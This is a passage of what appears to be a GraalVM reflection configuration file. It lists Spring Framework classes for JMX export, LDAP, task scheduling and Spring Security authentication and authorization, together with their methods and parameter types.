\"methods\":[{\"name\":\"addExcludedBean\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"afterSingletonsInstantiated\",\"parameterTypes\":[] }, {\"name\":\"destroy\",\"parameterTypes\":[] }, {\"name\":\"registerManagedResource\",\"parameterTypes\":[\"java.lang.Object\"] }, {\"name\":\"registerManagedResource\",\"parameterTypes\":[\"java.lang.Object\",\"javax.management.ObjectName\"] }, {\"name\":\"setAllowEagerInit\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setAssembler\",\"parameterTypes\":[\"org.springframework.jmx.export.assembler.MBeanInfoAssembler\"] }, {\"name\":\"setAutodetect\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setAutodetectMode\",\"parameterTypes\":[\"int\"] }, {\"name\":\"setAutodetectModeName\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setBeanClassLoader\",\"parameterTypes\":[\"java.lang.ClassLoader\"] }, {\"name\":\"setBeans\",\"parameterTypes\":[\"java.util.Map\"] }, {\"name\":\"setEnsureUniqueRuntimeObjectNames\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setExcludedBeans\",\"parameterTypes\":[\"java.lang.String[]\"] }, {\"name\":\"setExposeManagedResourceClassLoader\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setListeners\",\"parameterTypes\":[\"org.springframework.jmx.export.MBeanExporterListener[]\"] }, {\"name\":\"setNamingStrategy\",\"parameterTypes\":[\"org.springframework.jmx.export.naming.ObjectNamingStrategy\"] }, {\"name\":\"setNotificationListenerMappings\",\"parameterTypes\":[\"java.util.Map\"] }, {\"name\":\"setNotificationListeners\",\"parameterTypes\":[\"org.springframework.jmx.export.NotificationListenerBean[]\"] }, {\"name\":\"unregisterManagedResource\",\"parameterTypes\":[\"javax.management.ObjectName\"] }]\n},\n{\n  \"name\":\"org.springframework.jmx.export.MBeanExporter$AutodetectCallback\"\n},\n{\n  \"name\":\"org.springframework.jmx.export.MBeanExporterListener\"\n},\n{\n  \"name\":\"org.springframework.jmx.export.NotificationListenerBean\"\n},\n{\n  \"name\":\"org.springframework.jmx.export.annotation.AnnotationMBeanExporter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"setBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }]\n},\n{\n  \"name\":\"org.springframework.jmx.export.annotation.ManagedOperationParameters\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.jmx.export.assembler.MBeanInfoAssembler\"\n},\n{\n  \"name\":\"org.springframework.jmx.export.metadata.JmxAttributeSource\"\n},\n{\n  \"name\":\"org.springframework.jmx.export.naming.MetadataNamingStrategy\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"setAttributeSource\",\"parameterTypes\":[\"org.springframework.jmx.export.metadata.JmxAttributeSource\"] }, {\"name\":\"setDefaultDomain\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"org.springframework.jmx.export.naming.ObjectNamingStrategy\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.jmx.support.MBeanRegistrationSupport\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"setRegistrationPolicy\",\"parameterTypes\":[\"org.springframework.jmx.support.RegistrationPolicy\"] }, {\"name\":\"setServer\",\"parameterTypes\":[\"javax.management.MBeanServer\"] }]\n},\n{\n  \"name\":\"org.springframework.jmx.support.RegistrationPolicy\"\n},\n{\n  \"name\":\"org.springframework.kafka.core.KafkaTemplate\"\n},\n{\n  \"name\":\"org.springframework.kafka.core.ProducerFactory\"\n},\n{\n  \"name\":\"org.springframework.lang.NonNull\"\n},\n{\n  \"name\":\"org.springframework.lang.Nullable\"\n},\n{\n  \"name\":\"org.springframework.ldap.aot.hint.LdapCoreRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.ldap.core.AuthenticationSource\"\n},\n{\n  \"name\":\"org.springframework.ldap.core.ContextSource\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.ldap.core.DistinguishedName\"\n},\n{\n  \"name\":\"org.springframework.ldap.core.LdapOperations\"\n},\n{\n  \"name\":\"org.springframework.ldap.core.LdapTemplate\"\n},\n{\n  \"name\":\"org.springframework.ldap.core.support.AbstractContextSource\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"assembleProviderUrlString\",\"parameterTypes\":[\"java.lang.String[]\"] }, {\"name\":\"getAuthenticationSource\",\"parameterTypes\":[] }, {\"name\":\"getBaseLdapName\",\"parameterTypes\":[] }, {\"name\":\"getBaseLdapPath\",\"parameterTypes\":[] }, {\"name\":\"getBaseLdapPathAsString\",\"parameterTypes\":[] }, {\"name\":\"getContext\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"getContextFactory\",\"parameterTypes\":[] }, {\"name\":\"getDirObjectFactory\",\"parameterTypes\":[] }, {\"name\":\"getPassword\",\"parameterTypes\":[] }, {\"name\":\"getReadOnlyContext\",\"parameterTypes\":[] }, {\"name\":\"getReadWriteContext\",\"parameterTypes\":[] }, {\"name\":\"getUrls\",\"parameterTypes\":[] }, {\"name\":\"getUserDn\",\"parameterTypes\":[] }, {\"name\":\"isAnonymousReadOnly\",\"parameterTypes\":[] }, {\"name\":\"isPooled\",\"parameterTypes\":[] }, {\"name\":\"setAnonymousReadOnly\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setAuthenticationSource\",\"parameterTypes\":[\"org.springframework.ldap.core.AuthenticationSource\"] }, {\"name\":\"setAuthenticationStrategy\",\"parameterTypes\":[\"org.springframework.ldap.core.support.DirContextAuthenticationStrategy\"] }, {\"name\":\"setBase\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setBaseEnvironmentProperties\",\"parameterTypes\":[\"java.util.Map\"] }, {\"name\":\"setCacheEnvironmentProperties\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setContextFactory\",\"parameterTypes\":[\"java.lang.Class\"] }, {\"name\":\"setDirObjectFactory\",\"parameterTypes\":[\"java.lang.Class\"] }, {\"name\":\"setPassword\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setPooled\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setReferral\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setUrl\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setUrls\",\"parameterTypes\":[\"java.lang.String[]\"] }, {\"name\":\"setUserDn\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"org.springframework.ldap.core.support.BaseLdapPathContextSource\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.ldap.core.support.BaseLdapPathSource\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.ldap.core.support.DirContextAuthenticationStrategy\"\n},\n{\n  \"name\":\"org.springframework.ldap.core.support.LdapContextSource\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.mail.javamail.JavaMailSenderImpl\"\n},\n{\n  \"name\":\"org.springframework.messaging.rsocket.annotation.support.RSocketMessageHandler\"\n},\n{\n  \"name\":\"org.springframework.mock.web.MockServletContext\"\n},\n{\n  \"name\":\"org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean\"\n},\n{\n  \"name\":\"org.springframework.oxm.Marshaller\"\n},\n{\n  \"name\":\"org.springframework.r2dbc.connection.R2dbcTransactionManager\"\n},\n{\n  \"name\":\"org.springframework.r2dbc.connection.init.DatabasePopulator\"\n},\n{\n  \"name\":\"org.springframework.scheduling.SchedulingTaskExecutor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"prefersShortLivedTasks\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.scheduling.TaskScheduler\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"schedule\",\"parameterTypes\":[\"java.lang.Runnable\",\"java.util.Date\"] }, {\"name\":\"scheduleAtFixedRate\",\"parameterTypes\":[\"java.lang.Runnable\",\"long\"] }, {\"name\":\"scheduleAtFixedRate\",\"parameterTypes\":[\"java.lang.Runnable\",\"java.util.Date\",\"long\"] }, {\"name\":\"scheduleWithFixedDelay\",\"parameterTypes\":[\"java.lang.Runnable\",\"long\"] }, {\"name\":\"scheduleWithFixedDelay\",\"parameterTypes\":[\"java.lang.Runnable\",\"java.util.Date\",\"long\"] }]\n},\n{\n  \"name\":\"org.springframework.scheduling.Trigger\"\n},\n{\n  \"name\":\"org.springframework.scheduling.annotation.EnableScheduling\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.scheduling.annotation.Scheduled\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.scheduling.annotation.ScheduledAnnotationBeanPostProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"afterSingletonsInstantiated\",\"parameterTypes\":[] }, {\"name\":\"destroy\",\"parameterTypes\":[] }, {\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"getScheduledTasks\",\"parameterTypes\":[] }, {\"name\":\"onApplicationEvent\",\"parameterTypes\":[\"org.springframework.context.ApplicationEvent\"] }, {\"name\":\"postProcessAfterInitialization\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.String\"] }, {\"name\":\"postProcessBeforeDestruction\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.String\"] }, {\"name\":\"postProcessBeforeInitialization\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.String\"] }, {\"name\":\"postProcessMergedBeanDefinition\",\"parameterTypes\":[\"org.springframework.beans.factory.support.RootBeanDefinition\",\"java.lang.Class\",\"java.lang.String\"] }, {\"name\":\"requiresDestruction\",\"parameterTypes\":[\"java.lang.Object\"] }, {\"name\":\"setApplicationContext\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\"] }, {\"name\":\"setBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }, {\"name\":\"setBeanName\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setEmbeddedValueResolver\",\"parameterTypes\":[\"org.springframework.util.StringValueResolver\"] }]\n},\n{\n  \"name\":\"org.springframework.scheduling.annotation.Schedules\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.scheduling.annotation.SchedulingConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"scheduledAnnotationProcessor\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.scheduling.annotation.SchedulingConfigurer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"postConstructor\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.scheduling.concurrent.CustomizableThreadFactory\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"newThread\",\"parameterTypes\":[\"java.lang.Runnable\"] }]\n},\n{\n  \"name\":\"org.springframework.scheduling.concurrent.ExecutorConfigurationSupport\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"destroy\",\"parameterTypes\":[] }, {\"name\":\"getPhase\",\"parameterTypes\":[] }, {\"name\":\"initialize\",\"parameterTypes\":[] }, {\"name\":\"initiateShutdown\",\"parameterTypes\":[] }, {\"name\":\"isRunning\",\"parameterTypes\":[] }, {\"name\":\"onApplicationEvent\",\"parameterTypes\":[\"org.springframework.context.ApplicationEvent\"] }, {\"name\":\"onApplicationEvent\",\"parameterTypes\":[\"org.springframework.context.event.ContextClosedEvent\"] }, {\"name\":\"setAcceptTasksAfterContextClose\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setApplicationContext\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\"] }, {\"name\":\"setAwaitTerminationMillis\",\"parameterTypes\":[\"long\"] }, {\"name\":\"setAwaitTerminationSeconds\",\"parameterTypes\":[\"int\"] }, {\"name\":\"setBeanName\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setPhase\",\"parameterTypes\":[\"int\"] }, {\"name\":\"setRejectedExecutionHandler\",\"parameterTypes\":[\"java.util.concurrent.RejectedExecutionHandler\"] }, {\"name\":\"setThreadFactory\",\"parameterTypes\":[\"java.util.concurrent.ThreadFactory\"] }, {\"name\":\"setThreadNamePrefix\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setWaitForTasksToCompleteOnShutdown\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }, {\"name\":\"start\",\"parameterTypes\":[] }, {\"name\":\"stop\",\"parameterTypes\":[] }, {\"name\":\"stop\",\"parameterTypes\":[\"java.lang.Runnable\"] }]\n},\n{\n  \"name\":\"org.springframework.scheduling.concurrent.SimpleAsyncTaskScheduler\"\n},\n{\n  \"name\":\"org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"execute\",\"parameterTypes\":[\"java.lang.Runnable\"] }, {\"name\":\"submit\",\"parameterTypes\":[\"java.lang.Runnable\"] }, {\"name\":\"submit\",\"parameterTypes\":[\"java.util.concurrent.Callable\"] }, {\"name\":\"submitListenable\",\"parameterTypes\":[\"java.lang.Runnable\"] }, {\"name\":\"submitListenable\",\"parameterTypes\":[\"java.util.concurrent.Callable\"] }]\n},\n{\n  \"name\":\"org.springframework.scheduling.concurrent.ThreadPoolTaskScheduler\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"execute\",\"parameterTypes\":[\"java.lang.Runnable\"] }, {\"name\":\"getClock\",\"parameterTypes\":[] }, {\"name\":\"schedule\",\"parameterTypes\":[\"java.lang.Runnable\",\"java.time.Instant\"] }, {\"name\":\"schedule\",\"parameterTypes\":[\"java.lang.Runnable\",\"org.springframework.scheduling.Trigger\"] }, {\"name\":\"scheduleAtFixedRate\",\"parameterTypes\":[\"java.lang.Runnable\",\"java.time.Duration\"] }, {\"name\":\"scheduleAtFixedRate\",\"parameterTypes\":[\"java.lang.Runnable\",\"java.time.Instant\",\"java.time.Duration\"] }, {\"name\":\"scheduleWithFixedDelay\",\"parameterTypes\":[\"java.lang.Runnable\",\"java.time.Duration\"] }, {\"name\":\"scheduleWithFixedDelay\",\"parameterTypes\":[\"java.lang.Runnable\",\"java.time.Instant\",\"java.time.Duration\"] }, {\"name\":\"submit\",\"parameterTypes\":[\"java.lang.Runnable\"] }, {\"name\":\"submit\",\"parameterTypes\":[\"java.util.concurrent.Callable\"] }, {\"name\":\"submitListenable\",\"parameterTypes\":[\"java.lang.Runnable\"] }, {\"name\":\"submitListenable\",\"parameterTypes\":[\"java.util.concurrent.Callable\"] }]\n},\n{\n  \"name\":\"org.springframework.scheduling.config.ScheduledTaskHolder\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.scheduling.config.ScheduledTaskRegistrar\"\n},\n{\n  \"name\":\"org.springframework.security.access.AccessDeniedException\"\n},\n{\n  \"name\":\"org.springframework.security.access.expression.AbstractSecurityExpressionHandler\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"createSecurityExpressionRoot\",\"parameterTypes\":[\"org.springframework.security.core.Authentication\",\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"org.springframework.security.access.expression.SecurityExpressionHandler\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.access.expression.method.DefaultMethodSecurityExpressionHandler\"\n},\n{\n  \"name\":\"org.springframework.security.access.expression.method.MethodSecurityExpressionHandler\"\n},\n{\n  \"name\":\"org.springframework.security.aot.hint.CoreSecurityRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.authentication.AnonymousAuthenticationProvider\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"authenticate\",\"parameterTypes\":[\"org.springframework.security.core.Authentication\"] }, {\"name\":\"setMessageSource\",\"parameterTypes\":[\"org.springframework.context.MessageSource\"] }, {\"name\":\"supports\",\"parameterTypes\":[\"java.lang.Class\"] }]\n},\n{\n  \"name\":\"org.springframework.security.authentication.AuthenticationEventPublisher\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.security.authentication.AuthenticationManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.authentication.AuthenticationManagerResolver\"\n},\n{\n  \"name\":\"org.springframework.security.authentication.AuthenticationProvider\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.security.authentication.AuthenticationTrustResolver\"\n},\n{\n  \"name\":\"org.springframework.security.authentication.DefaultAuthenticationEventPublisher\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"publishAuthenticationFailure\",\"parameterTypes\":[\"org.springframework.security.core.AuthenticationException\",\"org.springframework.security.core.Authentication\"] }, {\"name\":\"publishAuthenticationSuccess\",\"parameterTypes\":[\"org.springframework.security.core.Authentication\"] }, {\"name\":\"setApplicationEventPublisher\",\"parameterTypes\":[\"org.springframework.context.ApplicationEventPublisher\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.authentication.ProviderManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"authenticate\",\"parameterTypes\":[\"org.springframework.security.core.Authentication\"] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"setMessageSource\",\"parameterTypes\":[\"org.springframework.context.MessageSource\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.authentication.ReactiveAuthenticationManager\"\n},\n{\n  \"name\":\"org.springframework.security.authentication.UsernamePasswordAuthenticationToken\"\n},\n{\n  \"name\":\"org.springframework.security.authentication.dao.AbstractUserDetailsAuthenticationProvider\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"authenticate\",\"parameterTypes\":[\"org.springframework.security.core.Authentication\"] }, {\"name\":\"getUserCache\",\"parameterTypes\":[] }, {\"name\":\"isForcePrincipalAsString\",\"parameterTypes\":[] }, {\"name\":\"isHideUserNotFoundExceptions\",\"parameterTypes\":[] }, {\"name\":\"setAuthoritiesMapper\",\"parameterTypes\":[\"org.springframework.security.core.authority.mapping.GrantedAuthoritiesMapper\"] }, {\"name\":\"setForcePrincipalAsString\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setHideUserNotFoundExceptions\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setMessageSource\",\"parameterTypes\":[\"org.springframework.context.MessageSource\"] }, {\"name\":\"setPostAuthenticationChecks\",\"parameterTypes\":[\"org.springframework.security.core.userdetails.UserDetailsChecker\"] }, {\"name\":\"setPreAuthenticationChecks\",\"parameterTypes\":[\"org.springframework.security.core.userdetails.UserDetailsChecker\"] }, {\"name\":\"setUserCache\",\"parameterTypes\":[\"org.springframework.security.core.userdetails.UserCache\"] }, {\"name\":\"supports\",\"parameterTypes\":[\"java.lang.Class\"] }]\n},\n{\n  \"name\":\"org.springframework.security.authentication.dao.DaoAuthenticationProvider\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.security.authentication.event.AuthenticationFailureBadCredentialsEvent\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.security.core.Authentication\",\"org.springframework.security.core.AuthenticationException\"] }]\n},\n{\n  \"name\":\"org.springframework.security.authentication.event.AuthenticationFailureCredentialsExpiredEvent\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.security.core.Authentication\",\"org.springframework.security.core.AuthenticationException\"] }]\n},\n{\n  \"name\":\"org.springframework.security.authentication.event.AuthenticationFailureDisabledEvent\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.security.core.Authentication\",\"org.springframework.security.core.AuthenticationException\"] }]\n},\n{\n  \"name\":\"org.springframework.security.authentication.event.AuthenticationFailureExpiredEvent\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.security.core.Authentication\",\"org.springframework.security.core.AuthenticationException\"] }]\n},\n{\n  \"name\":\"org.springframework.security.authentication.event.AuthenticationFailureLockedEvent\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.security.core.Authentication\",\"org.springframework.security.core.AuthenticationException\"] }]\n},\n{\n  \"name\":\"org.springframework.security.authentication.event.AuthenticationFailureProviderNotFoundEvent\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.security.core.Authentication\",\"org.springframework.security.core.AuthenticationException\"] }]\n},\n{\n  \"name\":\"org.springframework.security.authentication.event.AuthenticationFailureProxyUntrustedEvent\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.security.core.Authentication\",\"org.springframework.security.core.AuthenticationException\"] }]\n},\n{\n  \"name\":\"org.springframework.security.authentication.event.AuthenticationFailureServiceExceptionEvent\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.security.core.Authentication\",\"org.springframework.security.core.AuthenticationException\"] }]\n},\n{\n  \"name\":\"org.springframework.security.authentication.password.CompromisedPasswordChecker\"\n},\n{\n  \"name\":\"org.springframework.security.authorization.AuthorizationManager\"\n},\n{\n  \"name\":\"org.springframework.security.authorization.AuthorizationProxyFactory\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.security.authorization.method.AuthorizationAdvisor\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.security.authorization.method.AuthorizationAdvisorProxyFactory\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"iterator\",\"parameterTypes\":[] }, {\"name\":\"proxy\",\"parameterTypes\":[\"java.lang.Object\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.authorization.method.AuthorizationAdvisorProxyFactory$TargetVisitor\"\n},\n{\n  \"name\":\"org.springframework.security.authorization.method.AuthorizationManagerAfterMethodInterceptor\"\n},\n{\n  \"name\":\"org.springframework.security.authorization.method.AuthorizationManagerBeforeMethodInterceptor\"\n},\n{\n  \"name\":\"org.springframework.security.authorization.method.AuthorizeReturnObjectMethodInterceptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getAdvice\",\"parameterTypes\":[] }, {\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"getPointcut\",\"parameterTypes\":[] }, {\"name\":\"invoke\",\"parameterTypes\":[\"org.aopalliance.intercept.MethodInvocation\"] }, {\"name\":\"isPerInstance\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.authorization.method.PostAuthorizeAuthorizationManager\"\n},\n{\n  \"name\":\"org.springframework.security.authorization.method.PostFilterAuthorizationMethodInterceptor\"\n},\n{\n  \"name\":\"org.springframework.security.authorization.method.PreAuthorizeAuthorizationManager\"\n},\n{\n  \"name\":\"org.springframework.security.authorization.method.PreFilterAuthorizationMethodInterceptor\"\n},\n{\n  \"name\":\"org.springframework.security.config.Customizer\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.AbstractConfiguredSecurityBuilder\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"apply\",\"parameterTypes\":[\"org.springframework.security.config.annotation.SecurityConfigurer\"] }, {\"name\":\"apply\",\"parameterTypes\":[\"org.springframework.security.config.annotation.SecurityConfigurerAdapter\"] }, {\"name\":\"getConfigurer\",\"parameterTypes\":[\"java.lang.Class\"] }, {\"name\":\"getConfigurers\",\"parameterTypes\":[\"java.lang.Class\"] }, {\"name\":\"getOrBuild\",\"parameterTypes\":[] }, {\"name\":\"getSharedObject\",\"parameterTypes\":[\"java.lang.Class\"] }, {\"name\":\"getSharedObjects\",\"parameterTypes\":[] }, {\"name\":\"objectPostProcessor\",\"parameterTypes\":[\"org.springframework.security.config.annotation.ObjectPostProcessor\"] }, {\"name\":\"removeConfigurer\",\"parameterTypes\":[\"java.lang.Class\"] }, {\"name\":\"removeConfigurers\",\"parameterTypes\":[\"java.lang.Class\"] }, {\"name\":\"setSharedObject\",\"parameterTypes\":[\"java.lang.Class\",\"java.lang.Object\"] }, {\"name\":\"with\",\"parameterTypes\":[\"org.springframework.security.config.annotation.SecurityConfigurerAdapter\",\"org.springframework.security.config.Customizer\"] }]\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.AbstractSecurityBuilder\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"build\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.ObjectPostProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.SecurityBuilder\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.SecurityConfigurer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"init\",\"parameterTypes\":[\"org.springframework.security.config.annotation.SecurityBuilder\"] }]\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.SecurityConfigurerAdapter\"\n},\n{\n  